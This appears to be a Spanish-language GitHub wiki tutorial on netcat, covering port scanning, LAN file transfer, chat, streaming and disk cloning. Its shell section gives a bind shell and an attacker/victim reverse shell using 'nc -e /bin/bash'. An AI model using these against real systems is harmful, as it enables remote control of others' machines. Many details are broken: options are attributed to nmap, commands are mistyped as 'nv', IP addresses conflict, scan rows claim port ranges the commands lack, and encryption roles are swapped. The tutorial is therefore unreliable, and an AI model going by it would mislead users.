Tutorial de netcat - ubuntuperonista/wiki_tp GitHub Wiki
- netcat** o **nc** es una utilitario para transmisión en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.
^Opciones ^Descripción ^ |-4 |Fuerza a usar sólo IPv4 | |-6 |Fuerza a usar sólo IPv6 | |-l |Escucha conexiones | |-v |Salida verbosa | |-n |Desactiva búsqueda de DNS en direcciones IP y hostnames | |-p |Especifica el puerto de origen | |-w |Indica el valor de timeout | |-u |Usa UDP en lugar de la TCP | |-k |Fuerza seguir escuchando después de desconectar | |-z |Instruye a nmap a escanear demonios en escucha | |-h |Muestra la ayuda de nmap | |-x |Usa nmap con un proxy |
La sintaxis básica de netcat es:
nc opciones host puerto
^Comando ^Descripción ^
|nc -zvn 192.168.59.1
|Escanea los puertos entre 1 y 100. |
|nc -zvn 192.168.59.1
|Escanea puerto 80, 22 y 443. |
|nc -zvn 192.168.59.1 80
|Sólo escanea puerto 80 |
|nc -zvn textp-plano.com 80
|Escanea puerto 80 en texto-plano.xyz |
|nc texto-plano.xyz/~fulana/bandera
|Toma bandera |
Podremos abrir una sesión de shell a mano. Para ello, suponiendo que la IP del servidor es 192.168.58.3,
^En la máquina de servicio: ^
|nc -nvlp 8888 -e /bin/bash
|Ponemos un proceso de Bash en escucha en el puerto 8888|
^En la máquina cliente: ^
|nc -nv 192.168.59.3 8888
|Hacemos un proceso cliente que hable al servidor en 192.168.59.3 puerto 8888. |
^Máquina atacante ^
|nc -nlvp 8888
|Escucha en puerto 8888 |
^Máquina víctima ^
|nc 192.168.59.3 8888 -v -e /bin/bash
|Proceso de bash que emite en 192.168.59.3 8888 |
Suponiendo que el emisor está en 192.168.59.3:
^En el emisor ^
|nc -lvp 8888 < datos.txt
|Emite un flujo a partir de datos.txt por puerto 8888 a la LAN |
^En el receptor ^
|nv -nv 192.168.59.3 8888 > data.txt
|recibe el flujo de 192.168.59.3 por puerto 8888 y lo almacena en datos.txt |
Suponiendo que el receptor está en 192.158.59.3:
^En el receptor:^
|nv -lvp 8888 > datos.txt
| |
^En el emisor:^
|nv 192.168.59.3 8888 < datos.txt
| |
Para transferir directorios por la LAN, puede resultar muy útil comprimirlos al enviarlo, y descomprimirlos al recibirlo.
Suponiendo que el emisor está en 192.168.59.54:
^En el emisor: ^
|tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888
| |
^En el receptor: ^
|nc -l -p 8888 | uncompress -c | tar xvfp -
| |
Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podría capturar los paqueets enviados, de manera que es muy útil encirptarlos antes de enviarlos.
Suponiendo que la máquina que envía es 192.168.59.3
^En la máquina emisora: ^
|nc -l -p 8888 | openssl enc -d -des3 -pass pass:contraseña > secreto.txt
| |
^En la máquina receptora: ^
|openssl enc -des3 -pass pass:contraseña | nc 192.168.59.3 8888
| |
Podremos practicar lo más sencillo que es generar una aplicación de chat sencilla, que permita usar un puerto (8888) para emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor esté en 192.168.59.3
^En el servidor: ^
|nv -lvp 8888
| |
^En el cliente: ^
|nv 192.168.59.3 8888
| |
Podremos hacer videostreaming, por ejemplo de una pantalla:
^En el servidor: ^
|cat video.avi | nc -nvlp 8888
|Emite el fichero video.avi por el puerto 8888 |
|nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 -
| |
Esta es una manera útil de clonar un sistema de archivos por la red LAN.
Asumiendo que la máquina que envia está en 192.168.59.
^En la máquina que envía: ^
|dd if=/dev/sbd | nc -l -p 8888
| |
^En la máquina que recibe: ^
|nc -n 192.168.59.3 8888 | dd of=/dev/sdb
| |